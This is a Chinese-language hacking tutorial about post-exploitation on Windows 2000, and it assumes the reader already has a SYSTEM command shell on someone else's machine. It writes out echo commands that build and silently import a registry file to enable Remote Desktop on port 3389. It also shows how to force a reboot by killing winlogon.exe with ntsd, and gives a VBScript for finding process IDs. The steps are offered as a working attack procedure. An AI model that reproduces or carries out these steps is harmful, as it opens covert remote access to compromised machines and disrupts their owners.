本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL~~

　　在无须传任何文件的情况下开启终端服务。

　　一、win 2k下终端开启终端

　　首先用ECHO写一个3389.reg文件,然后导入到注册表，echo代码如下：

　　echo Windows Registry Editor Version 5.00 >>3389.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg

　　echo "Enabled"="0" >>3389.reg

　　echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg

　　echo "ShutdownWithoutLogon"="0" >>3389.reg

　　echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg

　　echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg

　　echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg

　　echo "TSEnabled"=dword:00000001 >>3389.reg

　　echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg

　　echo "Start"=dword:00000002 >>3389.reg

　　echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg

　　echo "Start"=dword:00000002 >>3389.reg

　　echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg

　　echo "Hotkey"="1" >>3389.reg

　　echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg

　　echo "PortNumber"=dword:00000D3D >>3389.reg

　　echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg

　　echo "PortNumber"=dword:00000D3D >>3389.reg

　　把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件，接着regedit /s 3389.reg导入注册表。

　　(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)

　　因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效。

　　一个简单的办法就是用ntsd.exe(win 2k以上自带的命令)结束一个重要的进程就可以实现机器重启了！！

　　比如结束winlogon.exe,lsass.exe也可以但结束后会跳出重启倒计时(不太好~)

　　winlogon.exe被关闭后机器立刻强制重启了

　　命令执行格式为ntsd -c q -p PID
那如何知道winlogon.exe的PID进程号呢~

　　以下这个脚本可以列举当前所有进程的PID：

　　wscript.echo "PID　 ProcessName"

　　for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_

　　wscript.echo ps.handle&vbtab&ps.name

　　next

　　在CMDSHELL窗口下贴上如下ECHO代码就可以得到查看进程PID的脚本1.vbe：

　　echo wscript.echo "PID　 ProcessName">>1.vbe

　　echo for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ >>1.vbe

　　echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe

　　echo next>>1.vbe

　　生成1.vbe后请检查一下echo出来的脚本是否有错(才四行，对一下上面给出的就可以了)。

　　运行1.vbe得到如下运行结果：

　　C:\WINNT\system32>cscript 1.vbe

　　cscript 1.vbe

　　Microsoft (R) Windows 脚本宿主版本 5.1 for Windows

　　版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.

　　PID　 ProcessName

　　0　　 System Idle Process

　　8　　 System

　　152　 smss.exe

　　180　 csrss.exe

　　200　 winlogon.exe

　　228　 services.exe

　　240　 lsass.exe

　　424　 svchost.exe

　　472　 spoolsv.exe

　　512　 msdtc.exe